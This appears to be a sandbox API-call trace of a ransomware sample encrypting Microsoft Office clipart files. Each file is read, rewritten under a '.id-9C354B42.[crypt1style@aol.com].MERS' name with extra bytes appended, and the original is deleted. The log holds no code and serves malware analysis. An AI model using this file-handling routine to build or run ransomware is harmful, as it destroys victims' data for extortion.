lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.937] lstrlenW (lpString=".dbf") returned 4 [0272.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.937] lstrlenW (lpString=".1cd") returned 4 [0272.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0272.937] lstrlenW (lpString=".jpg") returned 4 [0272.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.938] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.938] lstrlenW (lpString="BS00174_.WMF") returned 12 [0272.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.941] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=8366) returned 1 [0272.941] CloseHandle (hObject=0x284) returned 1 [0272.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0272.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.941] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0272.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.942] GetLastError () returned 0x0 [0272.942] ReadFile (in: hFile=0x284, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x20ae, lpOverlapped=0x0) returned 1 [0273.051] WriteFile (in: hFile=0x388, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0273.052] ReadFile (in: hFile=0x284, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.052] WriteFile (in: hFile=0x388, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.052] SetEndOfFile (hFile=0x388) returned 1 [0273.052] CloseHandle (hObject=0x388) returned 1 [0273.052] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.052] SetEndOfFile (hFile=0x284) returned 1 [0273.054] CloseHandle (hObject=0x284) returned 1 [0273.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0273.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.057] lstrlenW (lpString=".doc") returned 4 [0273.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.057] lstrlenW (lpString=".docx") returned 5 [0273.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.057] lstrlenW (lpString=".pdf") returned 4 [0273.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.057] lstrlenW (lpString=".xls") returned 4 [0273.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.057] lstrlenW (lpString=".xlsx") returned 5 [0273.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.057] lstrlenW (lpString=".ppt") returned 4 [0273.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString=".zip") returned 4 [0273.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.058] lstrlenW (lpString=".rar") returned 4 [0273.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString=".bz2") returned 4 [0273.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString=".7z") returned 3 [0273.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString=".dbf") returned 4 [0273.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString=".1cd") returned 4 [0273.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString=".jpg") returned 4 [0273.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString=".doc") returned 4 [0273.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString=".docx") returned 5 [0273.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.058] lstrlenW (lpString=".pdf") returned 4 [0273.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString=".xls") returned 4 [0273.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.058] lstrlenW (lpString=".xlsx") returned 5 [0273.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.058] lstrlenW (lpString=".ppt") returned 4 [0273.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.058] lstrlenW (lpString=".zip") returned 4 [0273.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.059] lstrlenW (lpString=".rar") returned 4 [0273.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString=".bz2") returned 4 [0273.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString=".7z") returned 3 [0273.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.059] lstrlenW (lpString=".dbf") returned 4 [0273.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.059] lstrlenW (lpString=".1cd") returned 4 [0273.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0273.059] lstrlenW (lpString=".jpg") returned 4 [0273.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.059] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.059] lstrlenW (lpString="BS00200_.WMF") returned 12 [0273.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.059] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=3104) returned 1 [0273.059] CloseHandle (hObject=0x3b8) returned 1 [0273.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0273.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.060] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.060] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0273.060] GetLastError () returned 0x0 [0273.060] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xc20, lpOverlapped=0x0) returned 1 [0273.082] WriteFile (in: hFile=0x40c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xc30, lpOverlapped=0x0) returned 1 [0273.083] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.083] WriteFile (in: hFile=0x40c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.083] SetEndOfFile (hFile=0x40c) returned 1 [0273.083] CloseHandle (hObject=0x40c) returned 1 [0273.083] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.083] SetEndOfFile (hFile=0x3b8) returned 1 [0273.085] CloseHandle (hObject=0x3b8) returned 1 [0273.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.085] lstrlenW (lpString=".doc") returned 4 [0273.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.085] lstrlenW (lpString=".docx") returned 5 [0273.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.086] lstrlenW (lpString=".pdf") returned 4 [0273.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.086] lstrlenW (lpString=".xls") returned 4 [0273.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.086] lstrlenW (lpString=".xlsx") returned 5 [0273.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.086] lstrlenW (lpString=".ppt") returned 4 [0273.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.086] lstrlenW (lpString=".zip") returned 4 [0273.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.086] lstrlenW (lpString=".rar") returned 4 [0273.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.086] lstrlenW (lpString=".bz2") returned 4 [0273.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.086] lstrlenW (lpString=".7z") returned 3 [0273.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.086] lstrlenW (lpString=".dbf") returned 4 [0273.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.086] lstrlenW (lpString=".1cd") returned 4 [0273.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.086] lstrlenW (lpString=".jpg") returned 4 [0273.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.087] lstrlenW (lpString=".doc") returned 4 [0273.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString=".docx") returned 5 [0273.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.087] lstrlenW (lpString=".pdf") returned 4 [0273.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString=".xls") returned 4 [0273.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.087] lstrlenW (lpString=".xlsx") returned 5 [0273.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.087] lstrlenW (lpString=".ppt") returned 4 [0273.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.087] lstrlenW (lpString=".zip") returned 4 [0273.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.087] lstrlenW (lpString=".rar") returned 4 [0273.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString=".bz2") returned 4 [0273.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString=".7z") returned 3 [0273.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.087] lstrlenW (lpString=".dbf") returned 4 [0273.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.087] lstrlenW (lpString=".1cd") returned 4 [0273.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0273.087] lstrlenW (lpString=".jpg") returned 4 [0273.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.088] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.088] lstrlenW (lpString="BS00438_.WMF") returned 12 [0273.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.088] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1212) returned 1 [0273.088] CloseHandle (hObject=0x3b8) returned 1 [0273.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0273.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.088] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.088] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0273.089] GetLastError () returned 0x0 [0273.089] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x4bc, lpOverlapped=0x0) returned 1 [0273.157] WriteFile (in: hFile=0x40c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0273.158] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.158] WriteFile (in: hFile=0x40c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.158] SetEndOfFile (hFile=0x40c) returned 1 [0273.269] CloseHandle (hObject=0x40c) returned 1 [0273.269] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.269] SetEndOfFile (hFile=0x3b8) returned 1 [0273.270] CloseHandle (hObject=0x3b8) returned 1 [0273.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.333] lstrlenW (lpString=".doc") returned 4 [0273.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString=".docx") returned 5 [0273.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.334] lstrlenW (lpString=".pdf") returned 4 [0273.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".xls") returned 4 [0273.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.334] lstrlenW (lpString=".xlsx") returned 5 [0273.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.334] lstrlenW (lpString=".ppt") returned 4 [0273.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.334] lstrlenW (lpString=".zip") returned 4 [0273.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.334] lstrlenW (lpString=".rar") returned 4 [0273.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".bz2") returned 4 [0273.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".7z") returned 3 [0273.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.334] lstrlenW (lpString=".dbf") returned 4 [0273.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.334] lstrlenW (lpString=".1cd") returned 4 [0273.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.334] lstrlenW (lpString=".jpg") returned 4 [0273.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.334] lstrlenW (lpString=".doc") returned 4 [0273.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".docx") returned 5 [0273.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.334] lstrlenW (lpString=".pdf") returned 4 [0273.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".xls") returned 4 [0273.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.335] lstrlenW (lpString=".xlsx") returned 5 [0273.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.335] lstrlenW (lpString=".ppt") returned 4 [0273.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.335] lstrlenW (lpString=".zip") returned 4 [0273.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.335] lstrlenW (lpString=".rar") returned 4 [0273.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString=".bz2") returned 4 [0273.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString=".7z") returned 3 [0273.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.335] lstrlenW (lpString=".dbf") returned 4 [0273.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.335] lstrlenW (lpString=".1cd") returned 4 [0273.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0273.335] lstrlenW (lpString=".jpg") returned 4 [0273.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.335] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.335] 